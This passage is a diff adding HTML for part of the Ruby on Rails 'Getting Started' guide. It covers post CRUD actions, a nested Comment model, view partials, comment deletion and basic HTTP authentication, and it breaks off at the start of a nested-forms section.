+<p>Creating a new post involves two actions. The first is the <tt>new</tt> action, which instantiates an empty <tt>Post</tt> object:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+def new
+  @post = Post.new
+
+  respond_to do |format|
+    format.html # new.html.erb
+    format.xml  { render :xml =&gt; @post }
+  end
+end
+</pre>
+</div>
+</notextile>
+
+<p>The <tt>new.html.erb</tt> view displays this empty Post to the user:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; html-script: true; gutter: false; toolbar: false">
+&lt;h1&gt;New post&lt;/h1&gt;
+
+&lt;%= render 'form' %&gt;
+
+&lt;%= link_to 'Back', posts_path %&gt;
+</pre>
+</div>
+</notextile>
+
+<p>The <tt>&lt;%= render 'form' %&gt;</tt> line is our first introduction to <em>partials</em> in Rails.  A partial is a snippet of <span class="caps">HTML</span> and Ruby code that can be reused in multiple locations.  In this case, the form used to make a new post, is basically identical to a form used to edit a post, both have text fields for the name and title and a text area for the content with a button to make a new post or update the existing post.</p>
+<p>If you take a look at <tt>views/posts/_form.html.erb</tt> file, you will see the following:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; html-script: true; gutter: false; toolbar: false">
+&lt;%= form_for(@post) do |f| %&gt;
+  &lt;% if @post.errors.any? %&gt;
+  &lt;div id=&quot;errorExplanation&quot;&gt;
+    &lt;h2&gt;&lt;%= pluralize(@post.errors.count, &quot;error&quot;) %&gt; prohibited this post from being saved:&lt;/h2&gt;
+    &lt;ul&gt;
+    &lt;% @post.errors.full_messages.each do |msg| %&gt;
+      &lt;li&gt;&lt;%= msg %&gt;&lt;/li&gt;
+    &lt;% end %&gt;
+    &lt;/ul&gt;
+  &lt;/div&gt;
+  &lt;% end %&gt;
+
+  &lt;div class=&quot;field&quot;&gt;
+    &lt;%= f.label :name %&gt;&lt;br /&gt;
+    &lt;%= f.text_field :name %&gt;
+  &lt;/div&gt;
+  &lt;div class=&quot;field&quot;&gt;
+    &lt;%= f.label :title %&gt;&lt;br /&gt;
+    &lt;%= f.text_field :title %&gt;
+  &lt;/div&gt;
+  &lt;div class=&quot;field&quot;&gt;
+    &lt;%= f.label :content %&gt;&lt;br /&gt;
+    &lt;%= f.text_area :content %&gt;
+  &lt;/div&gt;
+  &lt;div class=&quot;actions&quot;&gt;
+    &lt;%= f.submit %&gt;
+  &lt;/div&gt;
+&lt;% end %&gt;
+</pre>
+</div>
+</notextile>
+
+<p>This partial receives all the instance variables defined in the calling view file, so in this case, the controller assigned the new Post object to <tt>@post</tt> and so, this is available in both the view and partial as <tt>@post</tt>.</p>
+<p>For more information on partials, refer to the <a href="layouts_and_rendering.html#using-partials">Layouts and Rendering in Rails</a> guide.</p>
+<p>The <tt>form_for</tt> block is used to create an <span class="caps">HTML</span> form. Within this block, you have access to methods to build various controls on the form. For example, <tt>f.text_field :name</tt> tells Rails to create a text input on the form, and to hook it up to the <tt>name</tt> attribute of the instance being displayed. You can only use these methods with attributes of the model that the form is based on (in this case <tt>name</tt>, <tt>title</tt>, and <tt>content</tt>). Rails uses <tt>form_for</tt> in preference to having you write raw <span class="caps">HTML</span> because the code is more succinct, and because it explicitly ties the form to a particular model instance.</p>
+<p>The <tt>form_for</tt> block is also smart enough to work out if you are doing a <em>New Post</em> or an <em>Edit Post</em> action, and will set the form <tt>action</tt> tags and submit button names appropriately in the <span class="caps">HTML</span> output.</p>
+<div class='info'><p>If you need to create an <span class="caps">HTML</span> form that displays arbitrary fields, not tied to a model, you should use the <tt>form_tag</tt> method, which provides shortcuts for building forms that are not necessarily tied to a model instance.</p></div>
+<p>When the user clicks the <tt>Create Post</tt> button on this form, the browser will send information back to the <tt>create</tt> method of the controller (Rails knows to call the <tt>create</tt> method because the form is sent with an <span class="caps">HTTP</span> <span class="caps">POST</span> request; that&#8217;s one of the conventions that I mentioned earlier):</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+def create
+  @post = Post.new(params[:post])
+
+  respond_to do |format|
+    if @post.save
+      format.html { redirect_to(@post,
+                    :notice =&gt; 'Post was successfully created.') }
+      format.xml  { render :xml =&gt; @post,
+                    :status =&gt; :created, :location =&gt; @post }
+    else
+      format.html { render :action =&gt; &quot;new&quot; }
+      format.xml  { render :xml =&gt; @post.errors,
+                    :status =&gt; :unprocessable_entity }
+    end
+  end
+end
+</pre>
+</div>
+</notextile>
+
+<p>The <tt>create</tt> action instantiates a new Post object from the data supplied by the user on the form, which Rails makes available in the <tt>params</tt> hash. After successfully saving the new post, <tt>create</tt> returns the appropriate format that the user has requested (<span class="caps">HTML</span> in our case). It then redirects the user to the resulting post <tt>show</tt> action and sets a notice to the user that the Post was successfully created.</p>
+<p>If the post was not successfully saved, due to a validation error, then the controller returns the user back to the <tt>new</tt> action with any error messages so that the user has the chance to fix the error and try again.</p>
+<p>The &#8220;Post was successfully created&#8221; message is stored inside of the Rails <tt>flash</tt> hash, (usually just called the Flash) so that messages can be carried over to another action, providing the user with useful information on the status of their request. In the case of <tt>create</tt>, the user never actually sees any page rendered during the Post creation process, because it immediately redirects to the new Post as soon Rails saves the record. The Flash carries over a message to the next action, so that when the user is redirected back to the <tt>show</tt> action, they are presented with a message saying &#8220;Post was successfully created.&#8221;</p>
+<h4 id="showing-an-individual-post">6.10 Showing an Individual Post</h4>
+<p>When you click the <tt>show</tt> link for a post on the index page, it will bring you to a <span class="caps">URL</span> like <tt>http://localhost:3000/posts/1</tt>. Rails interprets this as a call to the <tt>show</tt> action for the resource, and passes in <tt>1</tt> as the <tt>:id</tt> parameter. Here&#8217;s the <tt>show</tt> action:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+def show
+  @post = Post.find(params[:id])
+
+  respond_to do |format|
+    format.html # show.html.erb
+    format.xml  { render :xml =&gt; @post }
+  end
+end
+</pre>
+</div>
+</notextile>
+
+<p>The <tt>show</tt> action uses <tt>Post.find</tt> to search for a single record in the database by its id value. After finding the record, Rails displays it by using <tt>show.html.erb</tt>:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; html-script: true; gutter: false; toolbar: false">
+&lt;p class=&quot;notice&quot;&gt;&lt;%= notice %&gt;&lt;/p&gt;
+
+&lt;p&gt;
+  &lt;b&gt;Name:&lt;/b&gt;
+  &lt;%= @post.name %&gt;
+&lt;/p&gt;
+
+&lt;p&gt;
+  &lt;b&gt;Title:&lt;/b&gt;
+  &lt;%= @post.title %&gt;
+&lt;/p&gt;
+
+&lt;p&gt;
+  &lt;b&gt;Content:&lt;/b&gt;
+  &lt;%= @post.content %&gt;
+&lt;/p&gt;
+
+
+&lt;%= link_to 'Edit', edit_post_path(@post) %&gt; |
+&lt;%= link_to 'Back', posts_path %&gt;
+</pre>
+</div>
+</notextile>
+
+<h4 id="editing-posts">6.11 Editing Posts</h4>
+<p>Like creating a new post, editing a post is a two-part process. The first step is a request to <tt>edit_post_path(@post)</tt> with a particular post. This calls the <tt>edit</tt> action in the controller:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+def edit
+  @post = Post.find(params[:id])
+end
+</pre>
+</div>
+</notextile>
+
+<p>After finding the requested post, Rails uses the <tt>edit.html.erb</tt> view to display it:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; html-script: true; gutter: false; toolbar: false">
+&lt;h1&gt;Editing post&lt;/h1&gt;
+
+&lt;%= render 'form' %&gt;
+
+&lt;%= link_to 'Show', @post %&gt; |
+&lt;%= link_to 'Back', posts_path %&gt;
+</pre>
+</div>
+</notextile>
+
+<p>Again, as with the <tt>new</tt> action, the <tt>edit</tt> action is using the <tt>form</tt> partial, this time however, the form will do a <span class="caps">PUT</span> action to the PostsController and the submit button will display &#8220;Update Post&#8221;</p>
+<p>Submitting the form created by this view will invoke the <tt>update</tt> action within the controller:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+def update
+  @post = Post.find(params[:id])
+
+  respond_to do |format|
+    if @post.update_attributes(params[:post])
+      format.html { redirect_to(@post,
+                    :notice =&gt; 'Post was successfully updated.') }
+      format.xml  { head :ok }
+    else
+      format.html { render :action =&gt; &quot;edit&quot; }
+      format.xml  { render :xml =&gt; @post.errors,
+                    :status =&gt; :unprocessable_entity }
+    end
+  end
+end
+</pre>
+</div>
+</notextile>
+
+<p>In the <tt>update</tt> action, Rails first uses the <tt>:id</tt> parameter passed back from the edit view to locate the database record that&#8217;s being edited. The <tt>update_attributes</tt> call then takes the rest of the parameters from the request and applies them to this record. If all goes well, the user is redirected to the post&#8217;s <tt>show</tt> view. If there are any problems, it&#8217;s back to the <tt>edit</tt> view to correct them.</p>
+<h4 id="destroying-a-post">6.12 Destroying a Post</h4>
+<p>Finally, clicking one of the <tt>destroy</tt> links sends the associated id to the <tt>destroy</tt> action:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+def destroy
+  @post = Post.find(params[:id])
+  @post.destroy
+
+  respond_to do |format|
+    format.html { redirect_to(posts_url) }
+    format.xml  { head :ok }
+  end
+end
+</pre>
+</div>
+</notextile>
+
+<p>The <tt>destroy</tt> method of an Active Record model instance removes the corresponding record from the database. After that&#8217;s done, there isn&#8217;t any record to display, so Rails redirects the user&#8217;s browser to the index view for the model.</p>
+<h3 id="adding-a-second-model">7 Adding a Second Model</h3>
+<p>Now that you&#8217;ve seen how a model built with scaffolding looks like, it&#8217;s time to add a second model to the application. The second model will handle comments on blog posts.</p>
+<h4 id="generating-a-model">7.1 Generating a Model</h4>
+<p>Models in Rails use a singular name, and their corresponding database tables use a plural name. For the model to hold comments, the convention is to use the name Comment. Even if you don&#8217;t want to use the entire apparatus set up by scaffolding, most Rails developers still use generators to make things like models and controllers. To create the new model, run this command in your terminal:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: plain; gutter: false; toolbar: false">
+$ rails generate model Comment commenter:string body:text post:references
+</pre>
+</div>
+</notextile>
+
+<p>This command will generate four files:</p>
+<ul>
+	<li><tt>app/models/comment.rb</tt> &#8211; The model</li>
+	<li><tt>db/migrate/20100207235629_create_comments.rb</tt> &#8211; The migration</li>
+	<li><tt>test/unit/comment_test.rb</tt> and <tt>test/fixtures/comments.yml</tt> &#8211; The test harness.</li>
+</ul>
+<p>First, take a look at <tt>comment.rb</tt>:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+class Comment &lt; ActiveRecord::Base
+  belongs_to :post
+end
+</pre>
+</div>
+</notextile>
+
+<p>This is very similar to the <tt>post.rb</tt> model that you saw earlier. The difference is the line <tt>belongs_to :post</tt>, which sets up an Active Record <em>association</em>. You&#8217;ll learn a little about associations in the next section of this guide.</p>
+<p>In addition to the model, Rails has also made a migration to create the corresponding database table:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+class CreateComments &lt; ActiveRecord::Migration
+  def self.up
+    create_table :comments do |t|
+      t.string :commenter
+      t.text :body
+      t.references :post
+
+      t.timestamps
+    end
+  end
+
+  def self.down
+    drop_table :comments
+  end
+end
+</pre>
+</div>
+</notextile>
+
+<p>The <tt>t.references</tt> line sets up a foreign key column for the association between the two models. Go ahead and run the migration:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: plain; gutter: false; toolbar: false">
+$ rake db:migrate
+</pre>
+</div>
+</notextile>
+
+<p>Rails is smart enough to only execute the migrations that have not already been run against the current database, so in this case you will just see:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: plain; gutter: false; toolbar: false">
+==  CreateComments: migrating =================================================
+-- create_table(:comments)
+   -&gt; 0.0017s
+==  CreateComments: migrated (0.0018s) ========================================
+</pre>
+</div>
+</notextile>
+
+<h4 id="associating-models">7.2 Associating Models</h4>
+<p>Active Record associations let you easily declare the relationship between two models. In the case of comments and posts, you could write out the relationships this way:</p>
+<ul>
+	<li>Each comment belongs to one post</li>
+	<li>One post can have many comments</li>
+</ul>
+<p>In fact, this is very close to the syntax that Rails uses to declare this association. You&#8217;ve already seen the line of code inside the Comment model that makes each comment belong to a Post:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+class Comment &lt; ActiveRecord::Base
+  belongs_to :post
+end
+</pre>
+</div>
+</notextile>
+
+<p>You&#8217;ll need to edit the <tt>post.rb</tt> file to add the other side of the association:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+class Post &lt; ActiveRecord::Base
+  validates :name,  :presence =&gt; true
+  validates :title, :presence =&gt; true,
+                    :length =&gt; { :minimum =&gt; 5 }
+
+  has_many :comments
+end
+</pre>
+</div>
+</notextile>
+
+<p>These two declarations enable a good bit of automatic behavior. For example, if you have an instance variable <tt>@post</tt> containing a post, you can retrieve all the comments belonging to that post as the array <tt>@post.comments</tt>.</p>
+<div class='info'><p>For more information on Active Record associations, see the <a href="association_basics.html">Active Record Associations</a> guide.</p></div>
+<h4 id="adding-a-route-for-comments">7.3 Adding a Route for Comments</h4>
+<p>As with the <tt>home</tt> controller, we will need to add a route so that Rails knows where we would like to navigate to see <tt>comments</tt>.  Open up the <tt>config/routes.rb</tt> file again, you will see an entry that was added automatically for <tt>posts</tt> near the top by the scaffold generator, <tt>resources :posts</tt>, edit it as follows:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+resources :posts do
+  resources :comments
+end
+</pre>
+</div>
+</notextile>
+
+<p>This creates <tt>comments</tt> as a <em>nested resource</em> within <tt>posts</tt>. This is another part of capturing the hierarchical relationship that exists between posts and comments.</p>
+<div class='info'><p>For more information on routing, see the <a href="routing.html">Rails Routing from the Outside In</a> guide.</p></div>
+<h4 id="generating-a-controller">7.4 Generating a Controller</h4>
+<p>With the model in hand, you can turn your attention to creating a matching controller. Again, there&#8217;s a generator for this:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: plain; gutter: false; toolbar: false">
+$ rails generate controller Comments
+</pre>
+</div>
+</notextile>
+
+<p>This creates four files and one empty directory:</p>
+<ul>
+	<li><tt>app/controllers/comments_controller.rb</tt> &#8211; The controller</li>
+	<li><tt>app/helpers/comments_helper.rb</tt> &#8211; A view helper file</li>
+	<li><tt>test/functional/comments_controller_test.rb</tt> &#8211; The functional tests for the controller</li>
+	<li><tt>test/unit/helpers/comments_helper_test.rb</tt> &#8211; The unit tests for the helper</li>
+	<li><tt>app/views/comments/</tt> &#8211; Views of the controller are stored here</li>
+</ul>
+<p>Like with any blog, our readers will create their comments directly after reading the post, and once they have added their comment, will be sent back to the post show page to see their comment now listed.  Due to this, our <tt>CommentsController</tt> is there to provide a method to create comments and delete <span class="caps">SPAM</span> comments when they arrive.</p>
+<p>So first, we&#8217;ll wire up the Post show template (<tt>/app/views/posts/show.html.erb</tt>) to let us make a new comment:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; html-script: true; gutter: false; toolbar: false">
+&lt;p class=&quot;notice&quot;&gt;&lt;%= notice %&gt;&lt;/p&gt;
+
+&lt;p&gt;
+  &lt;b&gt;Name:&lt;/b&gt;
+  &lt;%= @post.name %&gt;
+&lt;/p&gt;
+
+&lt;p&gt;
+  &lt;b&gt;Title:&lt;/b&gt;
+  &lt;%= @post.title %&gt;
+&lt;/p&gt;
+
+&lt;p&gt;
+  &lt;b&gt;Content:&lt;/b&gt;
+  &lt;%= @post.content %&gt;
+&lt;/p&gt;
+
+&lt;h2&gt;Add a comment:&lt;/h2&gt;
+&lt;%= form_for([@post, @post.comments.build]) do |f| %&gt;
+  &lt;div class=&quot;field&quot;&gt;
+    &lt;%= f.label :commenter %&gt;&lt;br /&gt;
+    &lt;%= f.text_field :commenter %&gt;
+  &lt;/div&gt;
+  &lt;div class=&quot;field&quot;&gt;
+    &lt;%= f.label :body %&gt;&lt;br /&gt;
+    &lt;%= f.text_area :body %&gt;
+  &lt;/div&gt;
+  &lt;div class=&quot;actions&quot;&gt;
+    &lt;%= f.submit %&gt;
+  &lt;/div&gt;
+&lt;% end %&gt;
+
+&lt;%= link_to 'Edit Post', edit_post_path(@post) %&gt; |
+&lt;%= link_to 'Back to Posts', posts_path %&gt; |
+</pre>
+</div>
+</notextile>
+
+<p>This adds a form on the Post show page that creates a new comment, which will call the <tt>CommentsController</tt> <tt>create</tt> action, so let&#8217;s wire that up:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+class CommentsController &lt; ApplicationController
+  def create
+    @post = Post.find(params[:post_id])
+    @comment = @post.comments.create(params[:comment])
+    redirect_to post_path(@post)
+  end
+end
+</pre>
+</div>
+</notextile>
+
+<p>You&#8217;ll see a bit more complexity here than you did in the controller for posts. That&#8217;s a side-effect of the nesting that you&#8217;ve set up; each request for a comment has to keep track of the post to which the comment is attached, thus the initial find action to the Post model to get the post in question.</p>
+<p>In addition, the code takes advantage of some of the methods available for an association. We use the <tt>create</tt> method on <tt>@post.comments</tt> to create and save the comment. This will automatically link the comment so that it belongs to that particular post.</p>
+<p>Once we have made the new comment, we send the user back to the original post using the <tt>post_path(@post)</tt> helper. As we have already seen, this calls the <tt>show</tt> action of the <tt>PostsController</tt> which in turn renders the <tt>show.html.erb</tt> template. This is where we want the comment to show, so let&#8217;s add that to the <tt>app/views/posts/show.html.erb</tt>.</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; html-script: true; gutter: false; toolbar: false">
+&lt;p class=&quot;notice&quot;&gt;&lt;%= notice %&gt;&lt;/p&gt;
+
+&lt;p&gt;
+  &lt;b&gt;Name:&lt;/b&gt;
+  &lt;%= @post.name %&gt;
+&lt;/p&gt;
+
+&lt;p&gt;
+  &lt;b&gt;Title:&lt;/b&gt;
+  &lt;%= @post.title %&gt;
+&lt;/p&gt;
+
+&lt;p&gt;
+  &lt;b&gt;Content:&lt;/b&gt;
+  &lt;%= @post.content %&gt;
+&lt;/p&gt;
+
+&lt;h2&gt;Comments&lt;/h2&gt;
+&lt;% @post.comments.each do |comment| %&gt;
+  &lt;p&gt;
+    &lt;b&gt;Commenter:&lt;/b&gt;
+    &lt;%= comment.commenter %&gt;
+  &lt;/p&gt;
+
+  &lt;p&gt;
+    &lt;b&gt;Comment:&lt;/b&gt;
+    &lt;%= comment.body %&gt;
+  &lt;/p&gt;
+&lt;% end %&gt;
+
+&lt;h2&gt;Add a comment:&lt;/h2&gt;
+&lt;%= form_for([@post, @post.comments.build]) do |f| %&gt;
+  &lt;div class=&quot;field&quot;&gt;
+    &lt;%= f.label :commenter %&gt;&lt;br /&gt;
+    &lt;%= f.text_field :commenter %&gt;
+  &lt;/div&gt;
+  &lt;div class=&quot;field&quot;&gt;
+    &lt;%= f.label :body %&gt;&lt;br /&gt;
+    &lt;%= f.text_area :body %&gt;
+  &lt;/div&gt;
+  &lt;div class=&quot;actions&quot;&gt;
+    &lt;%= f.submit %&gt;
+  &lt;/div&gt;
+&lt;% end %&gt;
+
+&lt;br /&gt;
+
+&lt;%= link_to 'Edit Post', edit_post_path(@post) %&gt; |
+&lt;%= link_to 'Back to Posts', posts_path %&gt; |
+</pre>
+</div>
+</notextile>
+
+<p>Now you can add posts and comments to your blog and have them show up in the right places.</p>
+<h3 id="refactoring">8 Refactoring</h3>
+<p>Now that we have Posts and Comments working, if we take a look at the <tt>app/views/posts/show.html.erb</tt> template, it&#8217;s getting long and awkward. We can use partials to clean this up.</p>
+<h4 id="rendering-partial-collections">8.1 Rendering Partial Collections</h4>
+<p>First we will make a comment partial to extract showing all the comments for the post. Create the file <tt>app/views/comments/_comment.html.erb</tt> and put the following into it:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; html-script: true; gutter: false; toolbar: false">
+&lt;p&gt;
+  &lt;b&gt;Commenter:&lt;/b&gt;
+  &lt;%= comment.commenter %&gt;
+&lt;/p&gt;
+
+&lt;p&gt;
+  &lt;b&gt;Comment:&lt;/b&gt;
+  &lt;%= comment.body %&gt;
+&lt;/p&gt;
+</pre>
+</div>
+</notextile>
+
+<p>Then in the <tt>app/views/posts/show.html.erb</tt> you can change it to look like the following:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; html-script: true; gutter: false; toolbar: false">
+&lt;p class=&quot;notice&quot;&gt;&lt;%= notice %&gt;&lt;/p&gt;
+
+&lt;p&gt;
+  &lt;b&gt;Name:&lt;/b&gt;
+  &lt;%= @post.name %&gt;
+&lt;/p&gt;
+
+&lt;p&gt;
+  &lt;b&gt;Title:&lt;/b&gt;
+  &lt;%= @post.title %&gt;
+&lt;/p&gt;
+
+&lt;p&gt;
+  &lt;b&gt;Content:&lt;/b&gt;
+  &lt;%= @post.content %&gt;
+&lt;/p&gt;
+
+&lt;h2&gt;Comments&lt;/h2&gt;
+&lt;%= render :partial =&gt; &quot;comments/comment&quot;,
+           :collection =&gt; @post.comments %&gt;
+
+&lt;h2&gt;Add a comment:&lt;/h2&gt;
+&lt;%= form_for([@post, @post.comments.build]) do |f| %&gt;
+  &lt;div class=&quot;field&quot;&gt;
+    &lt;%= f.label :commenter %&gt;&lt;br /&gt;
+    &lt;%= f.text_field :commenter %&gt;
+  &lt;/div&gt;
+  &lt;div class=&quot;field&quot;&gt;
+    &lt;%= f.label :body %&gt;&lt;br /&gt;
+    &lt;%= f.text_area :body %&gt;
+  &lt;/div&gt;
+  &lt;div class=&quot;actions&quot;&gt;
+    &lt;%= f.submit %&gt;
+  &lt;/div&gt;
+&lt;% end %&gt;
+
+&lt;br /&gt;
+
+&lt;%= link_to 'Edit Post', edit_post_path(@post) %&gt; |
+&lt;%= link_to 'Back to Posts', posts_path %&gt; |
+</pre>
+</div>
+</notextile>
+
+<p>This will now render the partial in <tt>app/views/comments/_comment.html.erb</tt> once for each comment that is in the <tt>@post.comments</tt> collection.  As the <tt>render</tt> method iterates over the <tt>@post.comments</tt> collection, it assigns each comment to a local variable named the same as the partial, in this case <tt>comment</tt> which is then available in the partial for us to show.</p>
+<h4 id="rendering-a-partial-form">8.2 Rendering a Partial Form</h4>
+<p>Lets also move that new comment section out to it&#8217;s own partial, again, you create a file <tt>app/views/comments/_form.html.erb</tt> and in it you put:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; html-script: true; gutter: false; toolbar: false">
+&lt;%= form_for([@post, @post.comments.build]) do |f| %&gt;
+  &lt;div class=&quot;field&quot;&gt;
+    &lt;%= f.label :commenter %&gt;&lt;br /&gt;
+    &lt;%= f.text_field :commenter %&gt;
+  &lt;/div&gt;
+  &lt;div class=&quot;field&quot;&gt;
+    &lt;%= f.label :body %&gt;&lt;br /&gt;
+    &lt;%= f.text_area :body %&gt;
+  &lt;/div&gt;
+  &lt;div class=&quot;actions&quot;&gt;
+    &lt;%= f.submit %&gt;
+  &lt;/div&gt;
+&lt;% end %&gt;
+</pre>
+</div>
+</notextile>
+
+<p>Then you make the <tt>app/views/posts/show.html.erb</tt> look like the following:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; html-script: true; gutter: false; toolbar: false">
+&lt;p class=&quot;notice&quot;&gt;&lt;%= notice %&gt;&lt;/p&gt;
+
+&lt;p&gt;
+  &lt;b&gt;Name:&lt;/b&gt;
+  &lt;%= @post.name %&gt;
+&lt;/p&gt;
+
+&lt;p&gt;
+  &lt;b&gt;Title:&lt;/b&gt;
+  &lt;%= @post.title %&gt;
+&lt;/p&gt;
+
+&lt;p&gt;
+  &lt;b&gt;Content:&lt;/b&gt;
+  &lt;%= @post.content %&gt;
+&lt;/p&gt;
+
+&lt;h2&gt;Comments&lt;/h2&gt;
+&lt;%= render :partial =&gt; &quot;comments/comment&quot;,
+           :collection =&gt; @post.comments %&gt;
+
+&lt;h2&gt;Add a comment:&lt;/h2&gt;
+&lt;%= render &quot;comments/form&quot; %&gt;
+
+&lt;br /&gt;
+
+&lt;%= link_to 'Edit Post', edit_post_path(@post) %&gt; |
+&lt;%= link_to 'Back to Posts', posts_path %&gt; |
+</pre>
+</div>
+</notextile>
+
+<p>The second render just defines the partial template we want to render, <tt>comments/form</tt>, Rails is smart enough to spot the forward slash in that string and realize that you want to render the <tt>_form.html.erb</tt> file in the <tt>app/views/comments</tt> directory.</p>
+<p>The <tt>@post</tt> object is available to any partials rendered in the view because we defined it as an instance variable.</p>
+<h3 id="deleting-comments">9 Deleting Comments</h3>
+<p>Another important feature on a blog is being able to delete <span class="caps">SPAM</span> comments.  To do this, we need to implement a link of some sort in the view and a <tt>DELETE</tt> action in the <tt>CommentsController</tt>.</p>
+<p>So first, let&#8217;s add the delete link in the <tt>app/views/comments/_comment.html.erb</tt> partial:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; html-script: true; gutter: false; toolbar: false">
+&lt;p&gt;
+  &lt;b&gt;Commenter:&lt;/b&gt;
+  &lt;%= comment.commenter %&gt;
+&lt;/p&gt;
+
+&lt;p&gt;
+  &lt;b&gt;Comment:&lt;/b&gt;
+  &lt;%= comment.body %&gt;
+&lt;/p&gt;
+
+&lt;p&gt;
+  &lt;%= link_to 'Destroy Comment', [comment.post, comment],
+               :confirm =&gt; 'Are you sure?',
+               :method =&gt; :delete %&gt;
+&lt;/p&gt;
+</pre>
+</div>
+</notextile>
+
+<p>Clicking this new &#8220;Destroy Comment&#8221; link will fire off a <tt><span class="caps">DELETE</span> /posts/:id/comments/:id</tt> to our <tt>CommentsController</tt>, which can then use this to find the comment we want to delete, so let&#8217;s add a destroy action to our controller:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+class CommentsController &lt; ApplicationController
+
+  def create
+    @post = Post.find(params[:post_id])
+    @comment = @post.comments.create(params[:comment])
+    redirect_to post_path(@post)
+  end
+
+  def destroy
+    @post = Post.find(params[:post_id])
+    @comment = @post.comments.find(params[:id])
+    @comment.destroy
+    redirect_to post_path(@post)
+  end
+
+end
+</pre>
+</div>
+</notextile>
+
+<p>The <tt>destroy</tt> action will find the post we are looking at, locate the comment within the <tt>@post.comments</tt> collection, and then remove it from the database and send us back to the show action for the post.</p>
+<h4 id="deleting-associated-objects">9.1 Deleting Associated Objects</h4>
+<p>If you delete a post then its associated comments will also need to be deleted. Otherwise they would simply occupy space in the database. Rails allows you to use the <tt>dependent</tt> option of an association to achieve this. Modify the Post model, <tt>app/models/post.rb</tt>, as follows:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+class Post &lt; ActiveRecord::Base
+  validates :name,  :presence =&gt; true
+  validates :title, :presence =&gt; true,
+                    :length =&gt; { :minimum =&gt; 5 }
+  has_many :comments, :dependent =&gt; :destroy
+end
+</pre>
+</div>
+</notextile>
+
+<h3 id="security">10 Security</h3>
+<p>If you were to publish your blog online, anybody would be able to add, edit and delete posts or delete comments.</p>
+<p>Rails provides a very simple <span class="caps">HTTP</span> authentication system that will work nicely in this situation. First, we enable simple <span class="caps">HTTP</span> based authentication in our <tt>app/controllers/application_controller.rb</tt>:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+class ApplicationController &lt; ActionController::Base
+  protect_from_forgery
+
+  private
+
+  def authenticate
+    authenticate_or_request_with_http_basic do |user_name, password|
+      user_name == 'admin' &amp;&amp; password == 'password'
+    end
+  end
+
+end
+</pre>
+</div>
+</notextile>
+
+<p>You can obviously change the username and password to whatever you want.  We put this method inside of <tt>ApplicationController</tt> so that it is available to all of our controllers.</p>
+<p>Then in the <tt>PostsController</tt> we need to have a way to block access to the various actions if the person is not authenticated, here we can use the Rails <tt>before_filter</tt> method, which allows us to specify that Rails must run a method and only then allow access to the requested action if that method allows it.</p>
+<p>To use the before filter, we specify it at the top of our <tt>PostsController</tt>, in this case, we want the user to be authenticated on every action, except for <tt>index</tt> and <tt>show</tt>, so we write that:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+class PostsController &lt; ApplicationController
+
+  before_filter :authenticate, :except =&gt; [:index, :show]
+
+  # GET /posts
+  # GET /posts.xml
+  def index
+    @posts = Post.all
+    respond_to do |format|
+# snipped for brevity
+</pre>
+</div>
+</notextile>
+
+<p>We also only want to allow authenticated users to delete comments, so in the <tt>CommentsController</tt> we write:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+class CommentsController &lt; ApplicationController
+
+  before_filter :authenticate, :only =&gt; :destroy
+
+  def create
+    @post = Post.find(params[:post_id])
+# snipped for brevity
+</pre>
+</div>
+</notextile>
+
+<p>Now if you try to create a new post, you will be greeted with a basic <span class="caps">HTTP</span> Authentication challenge</p>
+<p><img src="images/challenge.png" title="Basic HTTP Authentication Challenge" alt="Basic HTTP Authentication Challenge" /></p>
+<h3 id="building-a-multi-model-form">11 Building a Multi-Model Form</h3>
+<p>Another feature of your average blog is the ability to tag posts. To implement this feature your application needs to interact with more than one model on a single form. Rails offers support for nested forms.</p>
+<p>To demonstrate this, we will add support for giving each post multiple tags, right in the form where you create the post. First, create a new model to hold the tags:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: plain; gutter: false; toolbar: false">
+$ rails generate model tag name:string post:references
+</pre>
+</div>
+</notextile>
+
+<p>Again, run the migration to create the database table:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: plain; gutter: false; toolbar: false">
+$ rake db:migrate
+</pre>
+</div>
+</notextile>
+
+<p>Next, edit the <tt>post.rb</tt> file to create the other side of the association, and to tell Rails (via the <tt>accepts_nested_attributes_for</tt> macro) that you intend to edit tags via posts:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
